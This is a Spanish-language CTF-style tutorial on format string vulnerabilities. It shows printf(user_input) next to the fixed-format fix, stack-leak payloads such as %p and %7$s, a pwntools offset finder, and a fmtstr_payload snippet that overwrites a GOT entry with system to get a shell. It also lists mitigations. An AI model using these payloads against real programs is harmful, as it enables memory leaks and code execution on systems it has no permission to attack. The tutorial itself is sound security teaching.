Saltearse al contenido

Format string

Las vulnerabilidades de cadena de formato ocurren cuando un programa pasa datos controlados por el atacante directamente como cadena de formato a funciones como printf, en vez de usar un formato fijo. Es decir, printf(user) en lugar de printf("%s", user). Como los especificadores de formato (%x, %s, %n) leen y escriben en memoria, el atacante que controla la cadena puede filtrar memoria (leer el stack, direcciones, el canary) y, con %n, escribir en memoria arbitraria.

# VULNERABLE: el usuario controla la cadena de formato
printf(user_input);
# CORRECTO: formato fijo, el usuario es solo un argumento
printf("%s", user_input);

Si metes %x %x %x como entrada, printf los interpreta como especificadores y vuelca valores del stack que no existían como argumentos.

# volcar valores del stack
%x %x %x %x ... # valores en hex
%p %p %p %p # como punteros (mejor en 64 bits)
# acceso posicional directo (el N-ésimo argumento)
%7$p # el 7º valor del stack
# leer una cadena en una dirección
%s # lee la cadena apuntada (puede crashear si no es válida)
%7$s # la cadena apuntada por el 7º argumento

Usos: filtrar el canary (bypass del stack protector), filtrar direcciones de libc/PIE (bypass ASLR), leer la flag si está en memoria.

# pwntools: encontrar el offset de tu entrada en el stack
from pwn import *
for i in range(1,20):
p = process('./vuln'); p.sendline(f'AAAA%{i}$p'.encode())
print(i, p.recvline()) # cuando veas 41414141/0x41414141, ese es tu offset

%n escribe en la dirección apuntada el número de bytes impresos hasta ese momento. Controlando cuántos bytes se imprimen (con ancho de campo, %100c) y la dirección objetivo, escribes valores arbitrarios:

%n escribe un int (4 bytes) %hn escribe un short (2 bytes) %hhn 1 byte
# técnica: controlar el conteo con %<N>c y el destino con un puntero en el stack

Con escritura arbitraria puedes: sobrescribir una entrada de la GOT (ver GOT/PLT overwrite) para redirigir una función a system, cambiar una variable de control, o sobrescribir la dirección de retorno.

from pwn import *
# fmtstr_payload calcula el payload para escribir {direccion: valor}
payload = fmtstr_payload(offset, {got_printf: addr_system})
p.sendline(payload)

fmtstr_payload(offset, {dir: valor}) genera automáticamente la cadena de formato que escribe valor en dir, dado el offset de tu entrada.

1. Confirmar la vulnerabilidad (meter %p %p y ver si vuelca el stack)
2. Encontrar el offset de tu entrada (%N$p hasta ver tu marcador)
3. LEAK: filtrar canary, libc y/o PIE (bypass de mitigaciones)
4. WRITE (%n / fmtstr_payload): sobrescribir GOT / retaddr -> redirigir a system/one_gadget
5. Shell
  • Usar siempre un formato fijo: printf("%s", x), nunca printf(x). Igual con fprintf, sprintf, syslog, etc.
  • Compilar con warnings (-Wformat -Wformat-security): el compilador avisa de formatos no constantes.
  • FORTIFY_SOURCE limita %n en cadenas de formato en memoria escribible; Full RELRO protege la GOT.
  • Revisión de código / SAST para detectar formatos controlados por el usuario.
  • Confirmar format string (%p %p vuelca el stack)
  • Encontrar el offset de tu entrada (%N$p)
  • Leak: canary, libc, PIE (bypass mitigaciones)
  • Escritura arbitraria con %n / fmtstr_payload
  • Sobrescribir GOT (GOT/PLT overwrite) o retaddr → system
  • Encadenar leak + write en el mismo exploit
  • Shell/flag en local → remoto
  • Blue: ¿formato fijo, RELRO, FORTIFY?